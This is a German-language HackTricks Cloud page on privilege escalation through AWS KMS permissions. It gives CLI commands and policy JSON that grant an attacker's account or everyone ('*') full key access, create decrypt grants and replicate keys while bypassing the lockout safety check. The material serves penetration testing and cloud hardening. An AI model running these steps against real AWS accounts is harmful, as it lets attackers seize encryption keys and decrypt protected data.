AWS - KMS Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
KMS
Für weitere Informationen zu KMS siehe:
kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)
Mit diesen Berechtigungen ist es möglich, die Zugriffsberechtigungen für den Schlüssel zu ändern, sodass er von anderen Accounts oder sogar von jedem verwendet werden kann:
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
policy.json:
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}
kms:CreateGrant
Es ermöglicht einem Principal, einen KMS-Schlüssel zu verwenden:
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt
warning
Ein grant kann nur bestimmte Arten von Operationen erlauben: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations
warning
Beachte, dass es ein paar Minuten dauern kann, bis KMS dem Benutzer erlaubt, den Schlüssel nach der Erstellung des grant zu verwenden. Sobald diese Zeit verstrichen ist, kann der principal den KMS-Schlüssel verwenden, ohne irgendetwas anzugeben.
Wenn es jedoch nötig ist, den grant sofort zu nutzen, use a grant token (siehe den folgenden Code).
Für more info read this.
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token
Beachte, dass man Grants von Schlüsseln wie folgt auflisten kann:
aws kms list-grants --key-id <value>
kms:CreateKey, kms:ReplicateKey
Mit diesen Berechtigungen ist es möglich, einen Multi-Region-aktivierten KMS-Schlüssel in einer anderen Region mit einer anderen Richtlinie zu replizieren.
Ein Angreifer könnte dies also missbrauchen, um dadurch privesc, Zugriff auf den Schlüssel zu erhalten und ihn zu verwenden.
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
kms:Decrypt
Diese Berechtigung erlaubt, einen key zu verwenden, um Informationen zu decrypten.
Für weitere Informationen siehe:
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud